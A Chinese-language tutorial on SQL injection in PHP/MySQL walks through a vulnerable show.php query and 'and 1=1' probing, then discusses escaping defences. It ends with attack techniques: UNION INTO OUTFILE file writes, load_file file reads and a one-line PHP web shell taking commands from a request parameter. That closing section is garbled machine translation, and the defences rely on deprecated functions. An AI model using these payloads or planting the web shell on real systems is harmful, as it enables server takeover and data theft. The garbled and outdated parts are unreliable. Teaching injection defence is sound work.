SQL注入攻擊的一般步驟:
1、攻 擊者訪問有SQL注入漏洞的網站,尋找注入點
2、攻擊者構造注入語句,注入語句和程式中的SQL語句結合產生新的sql語句
3、新的sql語句被提交到資料庫中執行 處理
4、資料庫執行了新的SQL語句,引發SQL注入攻擊
執行個體
資料庫
CREATE TABLE `postmessage` (
`id` int(11) NOT NULL auto_increment,
`subject` varchar(60) NOT NULL default ",
`name` varchar(40) NOT NULL default ",
`email` varchar(25) NOT NULL default ",
`question` mediumtext NOT NULL,
`postdate` datetime NOT NULL default '0000-00-00 00:00:00′,
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=gb2312 COMMENT='運用者的留言' AUTO_INCREMENT=69 ;
grant all privileges on ch3.* to 'sectop'@localhost identified by '123456′;
//add.php 插入留言
//list.php 留言列表
//show.php 顯示留言
頁面 /show.php?id=71 可能存在注入點,我們來測試
/show.php?id=71 and 1=1
返回頁面
一次查詢到記錄,一次沒有,我們來看看源碼
//show.php 12-15行
// 執行mysql查詢語句
$query = "select * from postmessage where id = ".$_GET["id"];
$result = mysql_query($query)
or die("執行ySQL查詢語句失敗:" . mysql_error());
參數id傳遞進來後,和前面的字串結合的sql語句放入資料庫執行 查詢
提交 and 1=1,語句變成select * from postmessage where id = 71 and 1=1 這語句前值後值都為真,and以後也為真,返回查詢到的資料
提交 and 1=2,語句變成select * from postmessage where id = 71 and 1=2 這語句前值為真,後值為假,and以後為假,查詢不到任何資料
正常的SQL查詢,經過我們構造的語句之後,形成了SQL注入攻擊。通過這個注入點,我們還可以進一步拿到許可權,比如說運用 union讀取管理密碼,讀取資料庫資訊,或者用mysql的load_file,into outfile等函數進一步滲透。
防sql注入方法
$id = intval ($_GET['id']);
當然,還有其它的變數類型,如果有必要的話盡量強制一下格式。
字元型參數:
運用 addslashes函數來將單引號"'"轉換成"'",雙引號"""轉換成""",反斜線""轉換成"\",NULL字元加上反斜線""
函數原型
string addslashes (string str)
str是要檢查的字串
那麼剛才出現的代碼漏洞,我們可以這樣修補
// 執行mysql查詢語句
$query = "select * from postmessage where id = ".intval($_GET["id"]);
$result = mysql_query($query)
or die("執行ySQL查詢語句失敗:" . mysql_error());
如果是字元型,先判斷magic_quotes_gpc能無法 為On,當不為On的時候運用 addslashes轉義特殊字元
代碼如下 |
複製代碼 |
if(get_magic_quotes_gpc()) { $var = $_GET["var"]; } else { $var = addslashes($_GET["var"]); } ] |
SQL語句中包含變數加引號
SQL代碼:
代碼如下 |
複製代碼 |
SELECT * FROM article WHERE articleid = '$id' SELECT * FROM article WHERE articleid = $id |
兩種寫法在各種程式中都很普遍,但安全性是不同的,第一句由於把變數$id放在一對單引號中,這樣使得我們所提交的變數都變成了字串,即使包含了正確的SQL語句,也不會正常執行,而第二句不同,由於沒有把變數放進單引號中,那我們所提交的一切,只要包含空格,那空格後的變數都會作為SQL語句執行,因此,我們要養成給SQL語句中變數加引號的習慣。
3. URL偽靜態化
URL偽靜態化也就是URL重寫技術,像Discuz!一樣,將所有的URL都rewrite成類似xxx-xxx-x.html格式,即有利於SEO,又達到了一定的安全性,也不失為一個好辦法。但是想實現PHP防SQL注入,前提是你得有一定的"正則"基礎。
4. 用PHP函數過濾與轉義
PHP的SQL注入比較重要的一點就是GPC的設定問題,因為MYSQL4以下的版本是不支援子語句的,而且當php.ini裡的magic_quotes_gpc為On時,提交的變數中所有的 " ' "(單引號)、" " "(雙引號)、" "(反斜線)和Null 字元都會自動轉為含有反斜線的逸出字元,給SQL注入帶來不少的阻礙。
5. 用PHP的MySQL函數過濾與轉義
PHP的MySQL操作函數中有addslashes()、mysql_real_escape_string()、mysql_escape_string()等函數,可將特殊字元或可能引起資料庫操作出錯的字元轉義。
那麼這三個功能函數之間有什麼區別呢?下面我們來詳細講述下:
① addslashes的問題在於駭客可以用0xbf27來代替單引號,而addslashes只是將0xbf27修改為0xbf5c27,稱為一個有效多位元組字元,其中0xbf5c仍會被看做是單引號,所以addslashes無法成功攔截。
當然addslashes也不是毫無用處,它是用於單位元組字串的處理,多位元組字元還是用mysql_real_escape_string吧。
另外對於php手冊中get_magic_quotes_gpc的舉例:
代碼如下 |
複製代碼 |
if(!get_magic_quotes_gpc()){ $lastname = addslashes($_POST['lastname']);}else{ $lastname = $_POST['lastname'];} |
最好對magic_quotes_gpc已經開啟的情況下,還是對$_POST['lastname']進行檢查一下。
再說下mysql_real_escape_string和mysql_escape_string這2個函數的區別:
代碼如下 |
複製代碼 |
function daddslashes($string, $force = 0, $strip = FALSE) { if(!MAGIC_QUOTES_GPC || $force) { if(is_array($string)) { foreach($string as $key => $val) { $string[$key] = daddslashes($val, $force, $strip); } } else { $string = addslashes($strip ? stripslashes($string) : $string); } } return $string; } |
命令1 - 寫任意檔案
MySQL有一個內建的命令,可用於建立和寫入系統檔案。 此命令的格式如下:
代碼如下 |
複製代碼 |
mysq> select "text" INTO OUTFILE "file.txt" |
此命令的一個大缺點是,它可以被附加到一個現有的查詢使用UNION的SQL令牌。
例如,它可以被附加到下面的查詢:
代碼如下 |
複製代碼 |
select user, password from user where user="admin" and password='123' 結果查詢: select user, password from user where user="admin" and password='123' union select "text",2 into outfile "/tmp/file.txt" -- ' |
作為對上述命令的結果,在/ tmp / file.txt檔案將被建立,包括查詢結果。
命令2 - 讀任意檔案
MySQL有一個內建的命令,可以用來讀取任意檔案。 它的文法很簡單。 B .我們將利用這個 b命令計劃 。
代碼如下 |
複製代碼 |
mysql> select load_file("PATH_TO_FILE"); |
Web shell
Webshell是polpular並廣泛用於執行在Web瀏覽器從shell命令的工具。 .有人稱之為這些工具的PHP炮彈。 我們將建立一個非常簡單的webshell,將執行shell命令。
下面是執行的代碼PHP的一個非常基本的外殼是將(參數通過加利福尼亞 ):
代碼如下 |
複製代碼 |
<? system($_REQUEST['cmd']); ?> |